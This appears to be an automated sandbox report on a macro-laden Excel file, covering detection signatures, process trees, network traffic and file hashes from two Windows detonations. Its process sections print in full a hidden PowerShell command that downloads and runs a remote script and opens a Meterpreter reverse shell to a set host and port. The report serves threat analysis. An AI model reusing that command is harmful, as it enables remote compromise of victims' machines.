Malware Analysis Report

2025-01-22 19:12

Sample ID 240721-1fsa6awbmg
Target 6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e
SHA256 6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e
Tags
macro macro_on_action execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e

Threat Level: Known bad

The file 6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action execution

Process spawned unexpected child process

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Office macro that triggers on suspicious action

Checks computer location settings

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Enumerates physical storage devices

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-21 21:35

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-21 21:35

Reported

2024-07-21 21:37

Platform

win7-20240705-en

Max time kernel

24s

Max time network

19s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\wscript.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e.xls

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force

C:\Windows\SysWOW64\wscript.exe

wscript C:\Users\Public\config.vbs

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force

Network

Country Destination Domain Proto
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 185.199.111.133:443 raw.githubusercontent.com tcp

Files

memory/1700-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1700-1-0x00000000723AD000-0x00000000723B8000-memory.dmp

memory/1700-17-0x00000000070C0000-0x00000000071C0000-memory.dmp

memory/1700-18-0x00000000070C0000-0x00000000071C0000-memory.dmp

memory/1700-38-0x00000000070C0000-0x00000000071C0000-memory.dmp

memory/1700-32-0x00000000070C0000-0x00000000071C0000-memory.dmp

memory/1700-39-0x00000000070C0000-0x00000000071C0000-memory.dmp

C:\Users\Public\config.vbs

MD5 ce52ab154163c511f0efa6a61e22ab64
SHA1 9f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256 df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512 cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

memory/2904-45-0x000000001B840000-0x000000001BB22000-memory.dmp

memory/2904-46-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CK8JXDH9Y0449WOZPCUS.temp

MD5 9bae5df9500d4dccaec25d25d7fa8cbe
SHA1 d3d2fbaa81ac065bf573e1a81e52e05e0d503a9f
SHA256 dc9c30ec018617a152f067a53c640486836620efac83d5c1416e876a3a5e7b34
SHA512 3cd51e87266cdd989874e9995122de604d51141b28c8ef7142a966c64dc51f347285aa9e134645b258b53edc60cdeec893fffff166401b8b7c4f6320f8af2d15

memory/1700-49-0x00000000723AD000-0x00000000723B8000-memory.dmp

memory/1700-50-0x00000000070C0000-0x00000000071C0000-memory.dmp

memory/1700-51-0x00000000070C0000-0x00000000071C0000-memory.dmp

memory/1700-52-0x00000000070C0000-0x00000000071C0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-21 21:35

Reported

2024-07-21 21:36

Platform

win10v2004-20240709-en

Max time kernel

47s

Max time network

40s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\wscript.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation C:\Windows\SYSTEM32\wscript.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6e0b8bd58689289deac8e6adc2810d9137b2d479ee59b9747480ec82c5b8ab4e.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force

C:\Windows\SYSTEM32\wscript.exe

wscript C:\Users\Public\config.vbs

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 133.111.199.185.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 171.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

memory/4328-0-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp

memory/4328-2-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp

memory/4328-1-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp

memory/4328-4-0x00007FFAEB52D000-0x00007FFAEB52E000-memory.dmp

memory/4328-3-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp

memory/4328-5-0x00007FFAAB510000-0x00007FFAAB520000-memory.dmp

memory/4328-6-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-8-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-10-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-11-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-12-0x00007FFAA90E0000-0x00007FFAA90F0000-memory.dmp

memory/4328-9-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-14-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-16-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-13-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-7-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-15-0x00007FFAA90E0000-0x00007FFAA90F0000-memory.dmp

memory/4328-17-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-19-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-21-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-22-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-20-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-18-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-27-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-26-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-33-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-35-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

C:\Users\Public\config.vbs

MD5 ce52ab154163c511f0efa6a61e22ab64
SHA1 9f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256 df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512 cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mzdd0ed2.p5k.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/824-37-0x0000019B7A630000-0x0000019B7A652000-memory.dmp

memory/1284-56-0x00000221C3890000-0x00000221C38D4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 d2ddad43b532e7fea0f34ce2eef6d110
SHA1 7757466bdc41fa1454c5f64422fa8221647b0898
SHA256 6d1cc0071566b6fc6caa45ac1d539bb3046fec92695d406f376c7abd4bc9b588
SHA512 59c2ca97e2d8f546519b5731e3f0f3cea4cb2fe1f8ea2cb8250b33e69a1d12ab7f388c2f38b5e4877c3e3af6dfee9f261709b8a33e8d82f71661211e2ae28021

memory/4328-76-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-77-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp

memory/4328-78-0x00007FFAEB490000-0x00007FFAEB685000-memory.dmp